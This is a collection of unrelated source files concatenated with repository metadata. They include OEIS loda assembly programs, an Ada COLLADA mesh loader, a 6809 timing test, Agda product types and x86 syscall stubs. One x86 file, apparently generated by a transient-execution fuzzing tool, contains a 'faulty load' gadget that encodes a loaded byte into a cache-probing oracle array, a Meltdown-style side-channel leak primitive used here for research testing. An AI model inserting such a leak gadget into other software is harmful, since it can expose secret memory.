00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/171/A171001.asm
|
neoneye/loda
| 22 |
242826
|
<reponame>neoneye/loda<gh_stars>10-100
; A171001: Binomial(n-k,k)^2 where k = ceiling(n/4).
; 1,0,1,4,9,9,36,100,225,400,1225,3136,7056,15876,44100,108900,245025,627264,1656369,4008004,9018009,25050025,64128064,153165376,344622096,1012766976,2538950544,6009350400,13521038400,41408180100,102252852900,240407818596
mov $2,$0
seq $0,57353 ; a(n) = floor(3n/4).
sub $2,$0
bin $0,$2
pow $0,2
|
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_5444_885.asm
|
ljhsiun2/medusa
| 9 |
16941
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x63d1, %r14
clflush (%r14)
nop
nop
nop
nop
sub $32486, %rsi
mov (%r14), %r15
nop
nop
nop
sub $43836, %rsi
lea addresses_A_ht+0x1e0d1, %rsi
lea addresses_WT_ht+0x2fd1, %rdi
nop
nop
nop
nop
xor $1197, %rdx
mov $113, %rcx
rep movsw
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0x18de9, %r15
nop
add $8916, %rbp
mov $0x6162636465666768, %rdx
movq %rdx, (%r15)
nop
nop
nop
nop
nop
sub $13641, %rdi
lea addresses_A_ht+0x1efd1, %rcx
nop
nop
nop
nop
nop
dec %rbp
vmovups (%rcx), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %r15
and $20096, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rbp
push %rdi
// Faulty Load
lea addresses_A+0xe3d1, %rdi
nop
and $35154, %r14
vmovups (%rdi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rbp
lea oracles, %r15
and $0xff, %rbp
shlq $12, %rbp
mov (%r15,%rbp,1), %rbp
pop %rdi
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'00': 5444}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/094/A094684.asm
|
karttu/loda
| 0 |
13427
|
; A094684: Records in A094683.
; 0,1,5,11,18,27,36,46,58,70,82,96,110,125,140,156,172,189,207,225,243,262,281,301,322,343,364,385,407,430,453,476,500,524,548,573,598,623,649,675,702,729,756,783,811,839,868,896,925,955,985
mul $0,2
sub $0,1
mov $3,$0
pow $0,3
mod $3,2
lpb $0,1
add $0,$4
sub $0,1
add $1,17
add $3,2
mov $4,$2
sub $4,$3
lpe
div $1,17
|
src/main/fragment/mos6502-common/vdsm1_lt_0_then_la1.asm
|
jbrandwood/kickc
| 2 |
173604
|
lda {m1}+3
bmi {la1}
|
3-mid/opengl/source/lean/io/opengl-io-collada.adb
|
charlie5/lace-alire
| 1 |
5550
|
<reponame>charlie5/lace-alire<gh_stars>1-10
with
collada.Document,
collada.Library.geometries,
collada.Library.controllers,
ada.Text_IO;
package body openGL.IO.collada
is
package std_Collada renames Standard.Collada;
function to_Model (model_Path : in String) return IO.Model
is
use std_Collada.Library,
std_Collada.Library.geometries,
ada.Text_IO;
which_Geometry : constant := 1; -- Select which gemometry, just for testing.
the_Document : constant std_Collada.Document.item := std_Collada.Document.to_Document (model_Path);
the_Mesh : constant geometries.Mesh := the_Document.Libraries.Geometries.Contents (which_Geometry).Mesh;
the_Primitive : constant geometries.Primitive := the_Mesh.Primitives (1);
collada_Positions : constant access std_Collada.Float_array := Positions_of (the_Mesh);
collada_Normals : constant access std_Collada.Float_array := Normals_of (the_Mesh, the_Primitive);
collada_Coords : constant access std_Collada.Float_array := Coords_of (the_Mesh, the_Primitive);
function get_coord_Count return long_Index_t
is
begin
if collada_Coords = null
then
return 0;
else
return collada_Coords'Length / 2;
end if;
end get_coord_Count;
site_Count : constant long_Index_t := collada_Positions'Length / 3;
normal_Count : constant long_Index_t := collada_Normals 'Length / 3;
coord_Count : constant long_Index_t := get_coord_Count;
the_Sites : constant Sites_view := new many_Sites (1 .. site_Count);
the_Normals : constant Normals_view := new many_Normals (1 .. normal_Count);
the_Coords : Coords_view;
the_Weights : bone_Weights_array_view;
the_Faces : IO.Faces_view := new IO.Faces (1 .. 50_000);
face_Count : long_Index_t := 0;
begin
if coord_Count > 0
then
the_Coords := new many_Coordinates_2D (1 .. coord_Count);
end if;
for i in 1 .. Integer (site_Count)
loop
the_Sites (long_Index_t (i)) := (collada_Positions (3 * (i - 1) + 1),
collada_Positions (3 * (i - 1) + 2),
collada_Positions (3 * (i - 1) + 3));
end loop;
for i in 1 .. Integer (normal_Count)
loop
the_Normals (long_Index_t (i)) := (collada_Normals (3 * (i - 1) + 1),
collada_Normals (3 * (i - 1) + 2),
collada_Normals (3 * (i - 1) + 3));
end loop;
if collada_Coords /= null
then
for i in 1 .. Integer (coord_Count)
loop
the_Coords (long_Index_t (i)) := (collada_Coords (2 * (i - 1) + 1),
collada_Coords (2 * (i - 1) + 2));
end loop;
end if;
-- Skinning
--
if the_Document.Libraries.Controllers.Contents /= null
and then the_Document.Libraries.Controllers.Contents'Length > 0
then
declare
use std_Collada.Library.controllers;
the_Controller : constant controllers.Controller := the_Document.Libraries.Controllers.Contents (which_Geometry);
the_Skin : constant controllers.Skin := the_Controller.Skin;
collada_Weights : constant access std_Collada.Float_array := Weights_of (the_Skin);
V : std_Collada.Int_array renames the_Skin.vertex_Weights.V .all;
v_Count : std_Collada.Int_array renames the_Skin.vertex_Weights.v_Count.all;
v_Cursor : math.Index := 0;
inputs_Count : constant math.Index := the_Skin.vertex_Weights.Inputs'Length;
begin
the_Weights := new bone_Weights_array (1 .. long_Index_t (the_Skin.vertex_Weights.Count));
for each_Vertex in v_Count'Range
loop
declare
the_Count : constant long_Index_t := long_Index_t (v_Count (each_Vertex));
these_Weights : bone_Weights_view renames the_Weights (long_Index_t (each_Vertex));
Base : Math.Index;
begin
these_Weights := new bone_Weights (1 .. the_Count);
for i in 1 .. the_Count
loop
v_Cursor := v_Cursor + 1;
Base := (v_Cursor - 1) * inputs_Count + 1;
these_Weights (i).Bone := bone_Id ( 1
+ V (Base + joint_Offset_of (the_Skin.vertex_weights)));
these_Weights (i).Weight := Real (collada_Weights ( 1
+ math.Index (V ( Base
+ weight_Offset_of (the_Skin.vertex_Weights)))));
end loop;
end;
end loop;
end;
end if;
-- Primitives
--
case the_Primitive.Kind
is
when polyList =>
parse_polyList :
declare
P : std_Collada.Int_array renames the_Primitive.P_List (1).all;
inputs_Count : constant Natural := the_Primitive.Inputs'Length;
p_First : math.Index := 1;
p_Last : math.Index;
vertex_Count : Natural;
begin
for Each in the_Primitive.vCount'Range
loop
vertex_Count := the_Primitive.vCount (Each);
p_Last := p_First
+ math.Index (inputs_Count * vertex_Count)
- 1;
declare
the_Vertices : Vertices (1 .. long_Index_t (vertex_Count));
P_Indices : constant std_Collada.Int_array (1 .. p_Last - p_First + 1) := P (p_First .. p_Last);
the_Face : IO.Face;
Base : math.Index;
begin
for vertex_Id in the_Vertices'Range
loop
Base := math.Index (vertex_Id - 1)
* math.Index (inputs_Count)
+ 1;
the_Vertices (vertex_Id).site_Id := 1
+ long_Index_t (P_Indices ( Base
+ vertex_Offset_of (the_Primitive)));
the_Vertices (vertex_Id).normal_Id := 1
+ long_Index_t (P_Indices ( Base
+ normal_Offset_of (the_Primitive)));
if collada_Coords /= null
then
the_Vertices (vertex_Id).coord_Id := 1
+ long_Index_t ( P_Indices (Base
+ coord_Offset_of (the_Primitive)));
else
the_Vertices (vertex_Id).coord_Id := null_Id;
end if;
the_Vertices (vertex_Id).weights_Id := the_Vertices (vertex_Id).site_Id;
end loop;
case vertex_Count
is
when 3 => the_Face := (Triangle, the_Vertices);
when 4 => the_Face := (Quad, the_Vertices);
when others => put_Line ("parse_polyList ~ unhandled vertex count:" & vertex_Count'Image);
end case;
face_Count := face_Count + 1;
the_Faces (face_Count) := the_Face;
end;
p_First := p_Last + 1;
end loop;
end parse_polyList;
when Polygons =>
parse_Polygons:
declare
inputs_Count : constant Natural := the_Primitive.Inputs'Length;
begin
for Each in the_Primitive.P_List'Range
loop
declare
P_Indices : std_Collada.Int_array renames the_Primitive.P_List (Each).all;
vertex_Count : constant Natural := P_Indices'Length / inputs_Count;
the_Vertices : Vertices (1 .. long_Index_t (vertex_Count));
the_Face : IO.Face;
Base : math.Index;
begin
for vertex_Id in the_Vertices'Range
loop
Base := math.Index ( (Integer (vertex_Id) - 1)
* inputs_Count
+ 1);
the_Vertices (vertex_Id).site_Id := 1
+ long_Index_t (P_Indices ( Base
+ vertex_Offset_of (the_Primitive)));
the_Vertices (vertex_Id).normal_Id := 1
+ long_Index_t (P_Indices ( Base
+ normal_Offset_of (the_Primitive)));
if collada_Coords /= null
then
the_Vertices (vertex_Id).coord_Id := 1
+ long_Index_t (P_Indices ( Base
+ coord_Offset_of (the_Primitive)));
else
the_Vertices (vertex_Id).coord_Id := null_Id;
end if;
the_Vertices (vertex_Id).weights_Id := the_Vertices (vertex_Id).site_Id;
end loop;
case vertex_Count
is
when 3 => the_Face := (Triangle, the_Vertices);
when 4 => the_Face := (Quad, the_Vertices);
when others => put_Line ("parse_Polygons ~ unhandled vertex count:" & vertex_Count'Image);
end case;
face_Count := face_Count + 1;
the_Faces (face_Count) := the_Face;
end;
end loop;
end parse_Polygons;
when Triangles =>
parse_Triangles:
declare
inputs_Count : constant Natural := the_Primitive.Inputs'Length;
P_Indices : std_Collada.Int_array renames the_Primitive.P_List (1).all;
Base : math.Index := 1;
begin
for each_Tri in 1 .. the_Primitive.Count
loop
declare
vertex_Count : constant := 3;
the_Vertices : Vertices (1 .. vertex_Count);
the_Face : IO.Face;
begin
for vertex_Id in the_Vertices'Range
loop
the_Vertices (vertex_Id).site_Id := 1
+ long_Index_t (P_Indices ( Base
+ vertex_Offset_of (the_Primitive)));
the_Vertices (vertex_Id).normal_Id := 1
+ long_Index_t (P_Indices ( Base
+ normal_Offset_of (the_Primitive)));
if collada_Coords /= null
then
the_Vertices (vertex_Id).coord_Id := 1
+ long_Index_t (P_Indices ( Base
+ coord_Offset_of (the_Primitive)));
else
the_Vertices (vertex_Id).coord_Id := null_Id;
end if;
the_Vertices (vertex_Id).weights_Id := the_Vertices (vertex_Id).site_Id;
Base := Base + inputs_Count;
end loop;
the_Face := (Triangle, the_Vertices);
face_Count := face_Count + 1;
the_Faces (face_Count) := the_Face;
end;
end loop;
end parse_Triangles;
when others =>
put_Line ("Warning: ignoring unimplemented primitive kind: " & the_Primitive.Kind'Image);
end case;
declare
used_Faces : constant IO.Faces_view := new IO.Faces' (the_Faces (1 .. face_Count));
begin
free (the_Faces);
return (Sites => the_Sites,
Coords => the_Coords,
Normals => the_Normals,
Weights => the_Weights,
Faces => used_Faces);
end;
end to_Model;
end openGL.IO.collada;
|
include/test/profile.asm
|
eyalabraham/dragon
| 0 |
174309
|
;
; profile.asm
;
; MC6809E CPU emulation for runing timing profile tests.
;
; This assembly code is used to test emulation timing.
; The code toggles an IO port to generate an external signal
; that can be timed with an oscilloscope.
; The code provide a general driver, and the measurements
; can be added in the "measurement" section for timing.
; Example, measure baseline then measure timing difference
; with a test code that has 10x NOP op-codes. The NOP
; execution time can be estimated by dividing the time difference
; by 10.
;
jmp start
;
io: equ $f000
;
io_high: equ 1
io_low: equ 0
;
stack: equ $8000
;
varstart equ *
;
temp: fdb 0
;
varend: equ *
varlen: equ varend-varstart
;
; Main routine with an endless loop.
;
start: lds #stack ; Set up the stack.
clra
sta io ; Initialize IO
;
test_loop: inca
sta io
;
; *** Test section ***
;
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
;
;
; *** End of test section ***
;
clra
sta io
lbra test_loop ; forever.
;
; End of test
|
bits/src/bits.ads
|
vasil-sd/ada-tlsf
| 3 |
12215
|
<gh_stars>1-10
with BitOperations.Types;
with BitOperations.Shift;
with BitOperations.Mask;
with BitOperations.Extract;
with BitOperations.Search;
with BitOperations.Shift.Axiom;
with BitOperations.Search.Axiom;
generic
type Modular is mod <>;
package Bits with SPARK_Mode, Pure, Preelaborate is
package Types is new BitOperations.Types(Modular);
package Shifts is new BitOperations.Shift(Types);
package Mask is new BitOperations.Mask(Types);
package Extract_Pkg is new BitOperations.Extract(Types);
package Search is new BitOperations.Search(Types);
subtype Bit_Position is Types.Bit_Position;
subtype Mask_Size is Types.Mask_Size;
function Logic_Left (Value : Modular; Amount : Natural) return Modular
renames Shifts.Logic_Left;
function Logic_Right (Value : Modular; Amount : Natural) return Modular
renames Shifts.Logic_Right;
function Make_Mask (Size : Mask_Size) return Modular
renames Mask.Make;
function Extract (Value : Modular; From, To: Bit_Position) return Modular
renames Extract_Pkg.Extract;
function Most_Significant_Bit (Value : Modular) return Bit_Position
renames Search.Most_Significant_Bit;
end Bits;
|
generated/natools-static_maps-web-simple_pages.ads
|
faelys/natools-web
| 1 |
20941
|
-- Generated at 2017-03-10 17:26:29 +0000 by Natools.Static_Hash_Maps
-- from src/natools-web-simple_pages-maps.sx
package Natools.Static_Maps.Web.Simple_Pages is
pragma Pure;
type Command is
(Unknown_Command,
Comment_List,
Date, Optional_Date, If_No_Date,
Maps,
My_Tags,
Path,
Tags);
type Component is
(Error,
Comment_List,
Dates,
Elements,
Maps,
Tags);
function To_Command (Key : String) return Command;
function To_Component (Key : String) return Component;
private
Map_1_Key_0 : aliased constant String := "comments";
Map_1_Key_1 : aliased constant String := "comment-list";
Map_1_Key_2 : aliased constant String := "date";
Map_1_Key_3 : aliased constant String := "if-no-date";
Map_1_Key_4 : aliased constant String := "maps";
Map_1_Key_5 : aliased constant String := "my-tags";
Map_1_Key_6 : aliased constant String := "my-tag-list";
Map_1_Key_7 : aliased constant String := "tag-list";
Map_1_Key_8 : aliased constant String := "optional-date";
Map_1_Key_9 : aliased constant String := "path";
Map_1_Key_10 : aliased constant String := "pagelist";
Map_1_Key_11 : aliased constant String := "page-list";
Map_1_Key_12 : aliased constant String := "tag";
Map_1_Key_13 : aliased constant String := "tags";
Map_1_Keys : constant array (0 .. 13) of access constant String
:= (Map_1_Key_0'Access,
Map_1_Key_1'Access,
Map_1_Key_2'Access,
Map_1_Key_3'Access,
Map_1_Key_4'Access,
Map_1_Key_5'Access,
Map_1_Key_6'Access,
Map_1_Key_7'Access,
Map_1_Key_8'Access,
Map_1_Key_9'Access,
Map_1_Key_10'Access,
Map_1_Key_11'Access,
Map_1_Key_12'Access,
Map_1_Key_13'Access);
Map_1_Elements : constant array (0 .. 13) of Command
:= (Comment_List,
Comment_List,
Date,
If_No_Date,
Maps,
My_Tags,
My_Tags,
My_Tags,
Optional_Date,
Path,
Tags,
Tags,
Tags,
Tags);
Map_2_Key_0 : aliased constant String := "dates";
Map_2_Key_1 : aliased constant String := "tags";
Map_2_Key_2 : aliased constant String := "comments";
Map_2_Key_3 : aliased constant String := "comment-list";
Map_2_Key_4 : aliased constant String := "maps";
Map_2_Key_5 : aliased constant String := "elements";
Map_2_Key_6 : aliased constant String := "layout";
Map_2_Keys : constant array (0 .. 6) of access constant String
:= (Map_2_Key_0'Access,
Map_2_Key_1'Access,
Map_2_Key_2'Access,
Map_2_Key_3'Access,
Map_2_Key_4'Access,
Map_2_Key_5'Access,
Map_2_Key_6'Access);
Map_2_Elements : constant array (0 .. 6) of Component
:= (Dates,
Tags,
Comment_List,
Comment_List,
Maps,
Elements,
Elements);
end Natools.Static_Maps.Web.Simple_Pages;
|
oeis/336/A336951.asm
|
neoneye/loda-programs
| 11 |
7271
|
<reponame>neoneye/loda-programs
; A336951: E.g.f.: 1 / (1 - x * exp(3*x)).
; Submitted by <NAME>
; 1,1,8,69,780,11145,191178,3823785,87406056,2247785073,64228084110,2018771719569,69221032558956,2571290056399545,102860527370221026,4408690840306136505,201557641172689004112,9790792086366911655009,503570143277542340304534
mov $3,1
lpb $0
sub $0,1
add $1,1
mov $2,$0
mul $2,3
pow $2,$1
mul $3,$1
add $3,$2
lpe
mov $0,$3
|
vendor/stdlib/src/Data/Product1.agda
|
isabella232/Lemmachine
| 56 |
3129
|
------------------------------------------------------------------------
-- Products (variants for Set₁)
------------------------------------------------------------------------
-- I want universe polymorphism.
module Data.Product1 where
open import Data.Function
open import Relation.Nullary
infixr 4 _,_
infixr 2 _×₀₁_ _×₁₀_ _×₁₁_
------------------------------------------------------------------------
-- Definition
data Σ₀₁ (a : Set) (b : a → Set₁) : Set₁ where
_,_ : (x : a) (y : b x) → Σ₀₁ a b
data Σ₁₀ (a : Set₁) (b : a → Set) : Set₁ where
_,_ : (x : a) (y : b x) → Σ₁₀ a b
data Σ₁₁ (a : Set₁) (b : a → Set₁) : Set₁ where
_,_ : (x : a) (y : b x) → Σ₁₁ a b
∃₀₁ : {A : Set} → (A → Set₁) → Set₁
∃₀₁ = Σ₀₁ _
∃₁₀ : {A : Set₁} → (A → Set) → Set₁
∃₁₀ = Σ₁₀ _
∃₁₁ : {A : Set₁} → (A → Set₁) → Set₁
∃₁₁ = Σ₁₁ _
_×₀₁_ : Set → Set₁ → Set₁
A ×₀₁ B = Σ₀₁ A (λ _ → B)
_×₁₀_ : Set₁ → Set → Set₁
A ×₁₀ B = Σ₁₀ A (λ _ → B)
_×₁₁_ : Set₁ → Set₁ → Set₁
A ×₁₁ B = Σ₁₁ A (λ _ → B)
------------------------------------------------------------------------
-- Functions
proj₀₁₁ : ∀ {a b} → Σ₀₁ a b → a
proj₀₁₁ (x , y) = x
proj₀₁₂ : ∀ {a b} → (p : Σ₀₁ a b) → b (proj₀₁₁ p)
proj₀₁₂ (x , y) = y
proj₁₀₁ : ∀ {a b} → Σ₁₀ a b → a
proj₁₀₁ (x , y) = x
proj₁₀₂ : ∀ {a b} → (p : Σ₁₀ a b) → b (proj₁₀₁ p)
proj₁₀₂ (x , y) = y
proj₁₁₁ : ∀ {a b} → Σ₁₁ a b → a
proj₁₁₁ (x , y) = x
proj₁₁₂ : ∀ {a b} → (p : Σ₁₁ a b) → b (proj₁₁₁ p)
proj₁₁₂ (x , y) = y
map₀₁ : ∀ {A B P Q} →
(f : A → B) → (∀ {x} → P x → Q (f x)) →
Σ₀₁ A P → Σ₀₁ B Q
map₀₁ f g p = (f (proj₀₁₁ p) , g (proj₀₁₂ p))
map₁₀ : ∀ {A B P Q} →
(f : A → B) → (∀ {x} → P x → Q (f x)) →
Σ₁₀ A P → Σ₁₀ B Q
map₁₀ f g p = (f (proj₁₀₁ p) , g (proj₁₀₂ p))
map₁₁ : ∀ {A B P Q} →
(f : A → B) → (∀ {x} → P x → Q (f x)) →
Σ₁₁ A P → Σ₁₁ B Q
map₁₁ f g p = (f (proj₁₁₁ p) , g (proj₁₁₂ p))
|
programs/oeis/076/A076457.asm
|
neoneye/loda
| 22 |
86861
|
<filename>programs/oeis/076/A076457.asm<gh_stars>10-100
; A076457: Sum of numbers that can be written as t*n + u*(n+1) for nonnegative integers t,u in exactly four ways.
; 13,129,534,1510,3435,6783,12124,20124,31545,47245,68178,95394,130039,173355,226680,291448,369189,461529,570190,696990,843843,1012759,1205844,1425300,1673425,1952613,2265354,2614234,3001935,3431235,3905008,4426224,4997949,5623345,6305670,7048278,7854619,8728239,9672780,10691980,11789673,12969789,14236354,15593490,17045415,18596443,20250984,22013544,23888725,25881225,27995838,30237454,32611059,35121735,37774660,40575108,43528449,46640149,49915770,53360970,56981503,60783219,64772064,68954080,73335405,77922273,82721014,87738054,92979915,98453215,104164668,110121084,116329369,122796525,129529650,136535938,143822679,151397259,159267160,167439960,175923333,184725049,193852974,203315070,213119395,223274103,233787444,244667764,255923505,267563205,279595498,292029114,304872879,318135715,331826640,345954768,360529309,375559569,391054950,407024950
mov $4,$0
add $4,$0
mov $6,$0
add $0,$4
add $0,$4
add $0,3
mov $1,1
lpb $0
add $3,3
add $3,$0
sub $0,1
lpe
sub $3,$1
mov $1,$3
sub $1,1
mov $5,9
mov $7,$6
lpb $5
add $1,$7
sub $5,1
lpe
mov $2,$6
lpb $2
sub $2,1
add $8,$7
lpe
mov $5,35
mov $7,$8
lpb $5
add $1,$7
sub $5,1
lpe
mov $2,$6
mov $8,0
lpb $2
sub $2,1
add $8,$7
lpe
mov $5,23
mov $7,$8
lpb $5
add $1,$7
sub $5,1
lpe
mov $2,$6
mov $8,0
lpb $2
sub $2,1
add $8,$7
lpe
mov $5,4
mov $7,$8
lpb $5
add $1,$7
sub $5,1
lpe
mov $0,$1
|
libs/xlibc/syslib/syscall.asm
|
MUYIio/Mini-OS
| 5 |
83446
|
<reponame>MUYIio/Mini-OS
[bits 32]
[section .text]
SYSCALL_INT EQU 0x40
; 0个参数
global __syscall0
__syscall0:
mov eax, [esp + 4] ; eax = syscall num
int SYSCALL_INT
ret
; 1个参数
global __syscall1
__syscall1:
push ebx
mov eax, [esp + 4 + 4] ; eax = syscall num
mov ebx, [esp + 4 + 8] ; ebx = arg0
int SYSCALL_INT
pop ebx
ret
; 2个参数
global __syscall2
__syscall2:
push ecx
push ebx
mov eax, [esp + 8 + 4] ; eax = syscall num
mov ebx, [esp + 8 + 8] ; ebx = arg0
mov ecx, [esp + 8 + 12] ; ecx = arg1
int SYSCALL_INT
pop ebx
pop ecx
ret
; 3个参数
global __syscall3
__syscall3:
push edx
push ecx
push ebx
mov eax, [esp + 12 + 4] ; eax = syscall num
mov ebx, [esp + 12 + 8] ; ebx = arg0
mov ecx, [esp + 12 + 12] ; ecx = arg1
mov edx, [esp + 12 + 16] ; edx = arg2
int SYSCALL_INT
pop ebx
pop ecx
pop edx
ret
; 4个参数
global __syscall4
__syscall4:
push esi
push edx
push ecx
push ebx
mov eax, [esp + 16 + 4] ; eax = syscall num
mov ebx, [esp + 16 + 8] ; ebx = arg0
mov ecx, [esp + 16 + 12] ; ecx = arg1
mov edx, [esp + 16 + 16] ; edx = arg2
mov esi, [esp + 16 + 20] ; esi = arg3
int SYSCALL_INT
pop ebx
pop ecx
pop edx
pop esi
ret
; 5个参数
global __syscall5
__syscall5:
push edi
push esi
push edx
